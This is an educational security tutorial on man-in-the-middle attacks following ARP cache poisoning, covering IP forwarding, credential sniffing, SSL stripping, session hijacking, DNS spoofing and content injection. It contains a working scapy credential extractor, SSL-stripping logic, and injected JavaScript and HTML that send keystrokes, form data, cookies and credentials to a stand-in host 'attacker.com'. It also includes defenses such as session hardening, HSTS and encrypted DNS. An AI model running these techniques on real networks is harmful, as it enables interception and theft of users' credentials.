Loading content...
ARP spoofing and cache poisoning are means to an end—they position an attacker between two communicating parties without their knowledge. This positioning enables Man-in-the-Middle (MITM) attacks, one of the most powerful and dangerous categories of network exploitation.
A successful MITM attack grants the attacker god-like visibility over network communications. Every byte of data flowing between victim and destination passes through the attacker's hands. This invisible interception enables:
The name "Man-in-the-Middle" understates the severity. A better description might be "Silent Omniscient Observer with Edit Access." Once positioned, an attacker can compromise security at every layer of the network stack.
MITM attacks don't just compromise individual sessions—they can compromise entire security architectures. Encrypted connections can be downgraded, certificate warnings can be automated away, and multi-factor authentication can be captured in real-time. This page covers these techniques to help defenders understand the full threat scope.
By mastering this page, you will understand: (1) how MITM positioning enables traffic interception, (2) SSL stripping and encryption downgrade attacks, (3) session hijacking mechanics, (4) DNS spoofing via MITM, (5) active content modification techniques, and (6) the cascading security implications of MITM attacks.
Before exploring specific attack techniques, we must understand the fundamental architecture of an ARP-based MITM attack and how traffic flows through the attacker's system.
The MITM Position:
After successful ARP cache poisoning:
Traffic now flows:
Victim → [thinks it's going to Gateway] → Attacker → Gateway → Internet
Internet → Gateway → [thinks it's going to Victim] → Attacker → Victim
IP Forwarding: The Critical Enabler:
For MITM to work transparently, the attacker must enable IP forwarding on their system. Without it, traffic arrives at the attacker but goes nowhere—resulting in denial of service rather than interception.
12345678910111213141516171819202122232425262728293031323334353637383940
# ================================================# Enable IP Forwarding for MITM (Linux)# ================================================ # Check current statuscat /proc/sys/net/ipv4/ip_forward# 0 = disabled, 1 = enabled # Enable temporarily (until reboot)echo 1 > /proc/sys/net/ipv4/ip_forward # Or using sysctlsysctl -w net.ipv4.ip_forward=1 # Enable permanently (add to /etc/sysctl.conf)echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.confsysctl -p # ================================================# Why IP Forwarding is Necessary# ================================================# # Without IP forwarding:# Victim → Attacker → [DROPPED]# Result: No connectivity (DoS, easily detected)# # With IP forwarding:# Victim → Attacker → Gateway → Internet# Result: Transparent interception (hard to detect)## ================================================ # Verify forwarding is working# On attacker, watch traffic:tcpdump -i any -n host 192.168.1.50 # You should see:# - Packets FROM victim TO internet destinations# - Packets FROM internet TO victim# - All passing through attacker's interfacesTraffic Interception Architecture:
Once positioned and with forwarding enabled, the attacker can implement various interception strategies:
1. Passive Capture (Surveillance)
2. Active Modification (Injection)
3. Selective Forwarding (Filtering)
4. Traffic Cloning (Surveillance + Forwarding)
MITM attacks introduce latency. Every packet travels an extra hop through the attacker. In high-precision timing environments, this added latency can be detected. However, on typical LANs, the added microseconds are imperceptible.
The simplest exploitation of MITM positioning is passive interception—silently capturing all traffic for analysis without modification. This approach is stealthy and powerful, especially against unencrypted protocols.
What Can Be Captured:
| Protocol | Port | Captured Data | Impact |
|---|---|---|---|
| HTTP | 80 | URLs, cookies, form data, credentials | Full session visibility, credential theft |
| FTP | 21 | Usernames, passwords, file contents | Complete credential and data exposure |
| Telnet | 23 | All terminal I/O including passwords | Complete session capture |
| SMTP | 25 | Email content, sender/recipient, auth | Email surveillance, credential theft |
| POP3 | 110 | Emails, credentials | Mailbox access |
| IMAP | 143 | Emails, folder structure, credentials | Full mailbox visibility |
| DNS | 53 | All domain queries and responses | Browsing history, infrastructure mapping |
| SNMP v1/v2 | 161 | Community strings, device data | Network enumeration, device access |
| LDAP | 389 | Directory queries, sometimes creds | User enumeration, auth bypass |
| MySQL | 3306 | Queries, potentially credentials | Database access, data exfiltration |
Automated Credential Extraction:
Modern MITM frameworks automatically parse captured traffic for credentials:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246
#!/usr/bin / env python3"""Credential Extraction from MITM Traffic - Conceptual ExampleWARNING: For educational and authorized testing only. This demonstrates how attackers automatically extract credentialsfrom captured network traffic.Understanding this helps defendersprioritize encryption and monitoring.""" from scapy.all import sniff, TCP, Rawimport refrom typing import Optional, Dict, Listfrom dataclasses import dataclassfrom datetime import datetime @dataclass class CapturedCredential: """Represents extracted credential data.""" timestamp: str protocol: str source_ip: str dest_ip: str dest_port: int username: Optional[str] password: Optional[str] additional_data: Dict class CredentialExtractor: """ Extracts credentials from common protocols. In real attacks, tools like Ettercap, Bettercap, and mitmproxy handle this automatically with extensive protocol support. """ def __init__(self): self.credentials: List[CapturedCredential] = [] # Protocol - specific extractors self.extractors = { 21: self.extract_ftp, 23: self.extract_telnet, 25: self.extract_smtp, 80: self.extract_http, 110: self.extract_pop3, 143: self.extract_imap, } def process_packet(self, packet): """Process a captured packet for credentials.""" if not packet.haslayer(TCP) or not packet.haslayer(Raw): return tcp = packet[TCP] payload = packet[Raw].load.decode('utf-8', errors = 'ignore') # Check destination port for known protocols if tcp.dport in self.extractors: self.extractors[tcp.dport](packet, payload) # Also check source port(for server responses) if tcp.sport in self.extractors: self.extractors[tcp.sport](packet, payload) def extract_http(self, packet, payload: str): """ Extract credentials from HTTP traffic. Targets: - Basic Authentication headers - Form POST data - Cookies containing session tokens """ # Basic Authentication auth_match = re.search( r'Authorization: Basic ([A-Za-z0-9+/=]+)', payload ) if auth_match: import base64 try: decoded = base64.b64decode(auth_match.group(1)).decode() if ':' in decoded: user, passwd = decoded.split(':', 1) self._add_credential( packet, 'HTTP-Basic', user, passwd, {} ) except: pass # POST form data if 'POST' in payload: # Look for common credential field names patterns = [ r'(?:user|login|email|username)[=:]([^&\s]+)', r'(?:pass|password|passwd|pwd)[=:]([^&\s]+)', ] user = None passwd = None for pattern in patterns: match = re.search(pattern, payload, re.I) if match: value = match.group(1) if 'user' in pattern or 'email' in pattern: user = value else: passwd = value if user or passwd: self._add_credential( packet, 'HTTP-POST', user, passwd, { 'url': self._extract_url(payload) } ) # Session cookies cookie_match = re.search(r'Cookie: (.+?)(?:\r|$)', payload) if cookie_match: cookies = cookie_match.group(1) # Look for session identifiers session_patterns = [ r'(?:session|sid|PHPSESSID|JSESSIONID)[=]([^;]+)', ] for pattern in session_patterns: match = re.search(pattern, cookies, re.I) if match: self._add_credential( packet, 'HTTP-Session', None, None, { 'session_token': match.group(1) } ) def extract_ftp(self, packet, payload: str): """ Extract FTP credentials. FTP sends USER and PASS in plaintext. """ user_match = re.search(r'USER (.+?)\r', payload) pass_match = re.search(r'PASS (.+?)\r', payload) if user_match: self._add_credential( packet, 'FTP', user_match.group(1), None, {} ) if pass_match: # Find corresponding user from recent captures self._add_credential( packet, 'FTP', None, pass_match.group(1), {} ) def extract_smtp(self, packet, payload: str): """ Extract SMTP credentials. AUTH PLAIN sends base64 - encoded credentials. """ if 'AUTH PLAIN' in payload: match = re.search(r'AUTH PLAIN ([A-Za-z0-9+/=]+)', payload) if match: try: import base64 decoded = base64.b64decode(match.group(1)).decode() # Format: \x00username\x00password parts = decoded.split('\x00') if len(parts) >= 3: self._add_credential( packet, 'SMTP', parts[1], parts[2], {} ) except: pass def extract_pop3(self, packet, payload: str): """Extract POP3 credentials (USER/PASS commands).""" user_match = re.search(r'USER (.+?)\r', payload) pass_match = re.search(r'PASS (.+?)\r', payload) if user_match: self._add_credential( packet, 'POP3', user_match.group(1), None, {} ) if pass_match: self._add_credential( packet, 'POP3', None, pass_match.group(1), {} ) def extract_imap(self, packet, payload: str): """Extract IMAP credentials.""" # LOGIN command: tag LOGIN user password login_match = re.search( r'LOGIN "?([^"\s]+)"? "?([^"\s]+)"?', payload ) if login_match: self._add_credential( packet, 'IMAP', login_match.group(1), login_match.group(2), {} ) def extract_telnet(self, packet, payload: str): """ Extract Telnet credentials. Challenging because input is character - by - character. Real tools buffer and reconstruct. """ # Simplified: look for login prompts and responses if 'login:' in payload.lower() or 'password:' in payload.lower(): self._add_credential( packet, 'Telnet', None, None, { 'hint': 'Telnet session detected - manual analysis needed' } ) def _add_credential(self, packet, protocol: str, user: Optional[str], passwd: Optional[str], additional: Dict): """Store extracted credential.""" cred = CapturedCredential( timestamp = datetime.now().isoformat(), protocol = protocol, source_ip = packet.sprintf("%IP.src%"), dest_ip = packet.sprintf("%IP.dst%"), dest_port = packet[TCP].dport, username = user, password = passwd, additional_data = additional ) self.credentials.append(cred) print(f"[CAPTURED] {protocol}: {user}:{passwd} -> {cred.dest_ip}") def _extract_url(self, payload: str) -> Optional[str]: """Extract URL from HTTP request.""" match = re.search(r'(?:GET|POST) ([^\s]+)', payload) return match.group(1) if match else None # Real - world note:# Professional tools like Ettercap filter for dozens of protocols# including IMAP, Rlogin, NNTP, IRC, SOCKS, and database protocols.# They also handle SSL stripping, which we cover next.Despite decades of warnings, plaintext protocols remain in use. Legacy systems, IoT devices, internal tools, and misconfigured services continue to transmit credentials in cleartext. A single MITM attack can harvest years of accumulated passwords traveling across an unencrypted network.
Modern networks extensively use TLS/SSL encryption, which should protect against MITM attacks. However, sophisticated attackers don't try to break encryption—they remove it entirely through SSL stripping.
The SSL Stripping Concept:
SSL stripping exploits the transition from HTTP to HTTPS:
bank.com in browser (no protocol specified)http://bank.comhttps://bank.comThe vulnerability is in step 2-3. The initial HTTP request and redirect response are unencrypted. An attacker can intercept this and maintain an HTTP connection with the victim while establishing HTTPS with the server.
How SSL Stripping Works:
Phase 1: Intercept the Redirect
Phase 2: Dual-Protocol Bridge
Phase 3: Content Modification
https:// links with http://Phase 4: Credential Capture
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071
"""SSL Stripping Conceptual Flow The core technique of SSL stripping is intercepting HTTPS redirectsand converting them to HTTP, then proxying the connection. Key transformations:1. 301/302 redirects to HTTPS → 200 OK with HTTP content2. https:// links in HTML → http://3. Secure cookies → Non-secure cookies4. HSTS headers → Stripped/Removed""" # Conceptual SSLStrip response transformation def strip_ssl_response(response): """ Transform HTTPS response to HTTP for victim. This is the core of SSL stripping. """ # 1. Handle HTTPS redirects if response.status_code in (301, 302): location = response.headers.get('Location', '') if location.startswith('https://'): # Don't redirect victim - fetch content ourselves # and serve via HTTP https_content = fetch_via_https(location) return transform_to_http(https_content) # 2. Modify HTML content html = response.text # Replace HTTPS links with HTTP html = html.replace('https://', 'http://') # Convert secure form actions html = re.sub( r'action="https://([^"]+)"', r'action="http://\1"', html ) # 3. Strip security headers headers_to_remove = [ 'Strict-Transport-Security', # HSTS 'Content-Security-Policy', # CSP upgrade-insecure-requests 'X-Content-Type-Options', ] for header in headers_to_remove: response.headers.pop(header, None) # 4. Modify Set-Cookie headers # Remove 'Secure' flag so cookies work over HTTP cookies = response.headers.get('Set-Cookie', '') cookies = cookies.replace('; Secure', '') cookies = cookies.replace(';Secure', '') return modified_response # Visual URL indicators attackers must obscure:# # HTTPS: 🔒 https://bank.com/login# ↓ (stripped)# HTTP: ⚠️ http://bank.com/login## Attackers use various tricks:# - Hope user doesn't check address bar# - Use similar-looking punycode domains# - SSL strip during non-login pages initiallyDefenses Against SSL Stripping:
Several technologies mitigate SSL stripping attacks:
| Defense | How It Works | Effectiveness | Limitations |
|---|---|---|---|
| HSTS (HTTP Strict Transport Security) | Browser remembers site requires HTTPS | High (after first visit) | First visit still vulnerable; requires preload for full protection |
| HSTS Preload | Browser ships with list of HTTPS-only sites | Very High | Requires domain registration; not all browsers support |
| HTTPS Everywhere | Browser extension enforces HTTPS | Medium | User must install; ruleset may be incomplete |
| Certificate Pinning | App/browser only accepts specific cert | Very High | Complex to manage; breaks if cert changes |
| Visual Indicators | Users check for lock icon | Low | Users don't consistently check; can be spoofed in some browsers |
For high-security sites (banking, healthcare, government), HSTS preloading is essential. This ensures browsers will never make an initial HTTP request, completely preventing SSL stripping. Submit your domain to hstspreload.org after implementing HSTS with preload directive.
Even when attackers cannot capture passwords, they can often steal something just as valuable: session tokens. Session hijacking allows attackers to take over authenticated sessions without knowing the user's credentials.
Understanding Session Tokens:
Modern web applications use session tokens to maintain state:
The hijacking opportunity: If an attacker captures the session token, they can impersonate the user without ever knowing the password.
MITM Session Hijacking Attack Flow:
Real-World Session Hijacking: Firesheep
In 2010, the Firesheep Firefox extension brought session hijacking to the masses. It demonstrated how trivially an attacker on the same WiFi network could hijack Facebook, Twitter, and other sessions by capturing unencrypted cookies.
Firesheep's impact:
Legacy: Firesheep embarrassed major platforms into deploying full-site HTTPS and proper cookie security flags. However, many smaller applications remain vulnerable.
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889
"""Session Security Best Practices - Defense Reference These configurations protect against MITM session hijacking.""" # Flask example with secure session configurationfrom flask import Flask, session, requestimport secrets app = Flask(__name__) # Strong secret key for session signingapp.secret_key = secrets.token_hex(32) # Session cookie configurationapp.config.update( # Only send cookie over HTTPS SESSION_COOKIE_SECURE=True, # Prevent JavaScript access (stops XSS theft) SESSION_COOKIE_HTTPONLY=True, # Only send to same site (stops CSRF) SESSION_COOKIE_SAMESITE='Lax', # Reasonable expiration (30 minutes) PERMANENT_SESSION_LIFETIME=1800, # Use server-side sessions for sensitive data SESSION_TYPE='filesystem', # or 'redis') # Additional session binding (defense in depth)@app.before_requestdef validate_session(): """ Bind session to client characteristics. Hijacked sessions from different clients will fail. """ if 'user_id' in session: # Validate session binding stored_ip = session.get('bound_ip') stored_ua = session.get('bound_user_agent') current_ip = request.remote_addr current_ua = request.headers.get('User-Agent', '') # Strict: reject if anything changes # Note: This may cause issues with mobile users if stored_ip and stored_ip != current_ip: session.clear() return "Session invalidated: IP changed", 401 if stored_ua and stored_ua != current_ua: session.clear() return "Session invalidated: UA changed", 401 @app.route('/login', methods=['POST'])def login(): """Bind session to client on login.""" # ... authentication logic ... # Regenerate session ID after login (prevents fixation) session.clear() session['user_id'] = user.id # Bind to client characteristics session['bound_ip'] = request.remote_addr session['bound_user_agent'] = request.headers.get('User-Agent', '') session['login_time'] = datetime.utcnow().isoformat() return redirect('/dashboard') # HTTP Strict Transport Security header@app.after_requestdef add_security_headers(response): """Add security headers to all responses.""" # Enforce HTTPS for 1 year, including subdomains response.headers['Strict-Transport-Security'] = \ 'max-age=31536000; includeSubDomains; preload' # Prevent clickjacking response.headers['X-Frame-Options'] = 'DENY' # Prevent MIME sniffing response.headers['X-Content-Type-Options'] = 'nosniff' return responseNo single defense is sufficient. Secure cookies can be bypassed via SSL stripping. Session binding can be evaded by proxying from the victim's network. Short expiration limits damage but doesn't prevent it. Layer all available defenses for robust session security.
Once positioned as a Man-in-the-Middle, attackers can manipulate DNS queries and responses to redirect victims to malicious servers. This is DNS spoofing or DNS hijacking.
Why DNS Spoofing is Powerful:
DNS is the internet's directory service. Controlling DNS means controlling where users go when they type a domain name. A MITM attacker can:
bank.com to a phishing pageDNS Spoofing Mechanics:
DNS Spoofing Techniques:
1. Query Interception and Response Fabrication
2. Response Modification
3. Selective Spoofing
Implementation Challenges for Attackers:
| Challenge | Attacker's Solution | Defender's Opportunity |
|---|---|---|
| Certificate warnings for HTTPS sites | Use phishing domain with valid cert; SSL strip | Users trained to verify domain names |
| DNS caching at victim | Spoof before cache expires; wait for TTL | Long TTLs reduce attack window |
| DNSSEC validation | Hope victim doesn't use validating resolver | Deploy DNSSEC on critical domains |
| DoH/DoT encrypted DNS | Attack before DoH established; be the DoH server | Use DoH with pinned resolvers |
| Browser security warnings | Automate certificate generation | HSTS preload for critical sites |
DNS over HTTPS encrypts DNS queries, preventing MITM observation and modification. However, if an attacker controls the network before the user establishes DoH, they can block DoH and force fallback to traditional DNS. Defense requires pinned DoH resolvers or enterprise DoH deployment.
12345678910111213141516171819202122232425262728293031323334353637383940414243444546
# ================================================# DNS Spoofing Defense Configuration# ================================================ # Enable DNS over HTTPS (DoH) in browsers:# Firefox: Settings → Network Settings → Enable DNS over HTTPS# Chrome: Settings → Privacy → Use secure DNS# Edge: Settings → Privacy → Use secure DNS # Configure system-wide DoH (Linux with systemd-resolved)cat >> /etc/systemd/resolved.conf << 'EOF'[Resolve]DNS=1.1.1.1#cloudflare-dns.com 8.8.8.8#dns.googleDNSOverTLS=yesEOF systemctl restart systemd-resolved # Verify DNS is encrypted# Install: sudo apt install knot-dnsutilskdig @1.1.1.1 +tls example.com # ================================================# DNSSEC Validation# ================================================ # Check if domain uses DNSSECdig example.com +dnssec # Look for RRSIG records in response# Validating resolvers will reject spoofed responses# that don't have valid DNSSEC signatures # ================================================# Local DNS Cache Protection# ================================================ # View DNS cache (Linux with systemd)resolvectl statisticsresolvectl query google.com # Clear DNS cache (flush spoofed entries)resolvectl flush-caches # Windows: Clear DNS cacheipconfig /flushdnsThe most sophisticated MITM attacks don't just observe traffic—they actively modify it. Content modification enables attacks far beyond credential theft.
Types of Content Modification:
1. JavaScript Injection
Attackers inject malicious JavaScript into HTML pages:
12345678910111213141516171819202122232425262728293031323334353637
// Original HTML from server:// <html><body>Welcome to Example.com</body></html> // Attacker injects before </body>:<script>// Keylogger - capture all keystrokesdocument.addEventListener('keypress', function(e) { new Image().src = 'http://attacker.com/log?key=' + e.key;}); // Form hijacker - intercept form submissionsdocument.querySelectorAll('form').forEach(form => { form.addEventListener('submit', function(e) { // Send form data to attacker before real submission fetch('http://attacker.com/steal', { method: 'POST', body: new FormData(this) }); // Form continues to real destination });}); // Cookie stealer - exfiltrate all cookiesnew Image().src = 'http://attacker.com/cookies?c=' + encodeURIComponent(document.cookie); // Crypto-miner - use victim's CPUconst script = document.createElement('script');script.src = 'http://attacker.com/miner.js';document.body.appendChild(script);</script> // Modified HTML served to victim:// <html><body>Welcome to Example.com<script>...</script></body></html> // Note: This works even on HTTPS sites if SSL stripping succeeded// or if internal sites use HTTP.2. Download Substitution
Attacker replaces legitimate downloads with malicious versions:
setup.exe from software vendorThis attack is extremely effective because:
3. Update Mechanism Hijacking
Many applications auto-update via HTTP:
http://vendor.com/version.xmlhttp://vendor.com/update.exe4. Credential Form Injection
Inject fake login forms into legitimate-looking pages:
123456789101112131415161718192021222324252627282930313233343536
<!-- Injected into any HTTP page --><div id="fake-login" style=" position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); background: white; padding: 30px; border-radius: 10px; box-shadow: 0 10px 50px rgba(0,0,0,0.3); z-index: 99999;"> <h2>Session Expired</h2> <p>Your session has expired. Please log in again.</p> <form action="http://attacker.com/steal" method="POST"> <input type="hidden" name="site" value="[current domain]"> <label>Email:</label> <input type="email" name="email" required><br> <label>Password:</label> <input type="password" name="password" required><br> <button type="submit">Log In</button> </form></div> <!-- This overlay appears on any page. Users often enter credentials without checking the URL. Attacker collects credentials from multiple sites. Defense: Never trust unexpected login prompts. Always verify you're on the correct domain.-->Once a user visits any HTTP page on a network with an active MITM, they can be persistently compromised. Injected JavaScript can install service workers that persist even after leaving the malicious network. This is why organizations must enforce HTTPS everywhere—a single HTTP page can be the entry point for complete browser compromise.
Man-in-the-Middle positioning through ARP cache poisoning unlocks devastating attack capabilities. Understanding these techniques is essential for defenders who must prioritize protections.
Attack Capabilities Summary:
What's Next:
Now that we understand the attacks that MITM positioning enables, we turn to defense. The next page covers ARP Security Measures—practical techniques to prevent, detect, and mitigate ARP-based attacks at both host and network levels.
You now understand the full scope of Man-in-the-Middle attack capabilities—from passive interception through SSL stripping, session hijacking, DNS spoofing, and content modification. This knowledge of attack techniques prepares you to implement effective defenses covered in the following pages.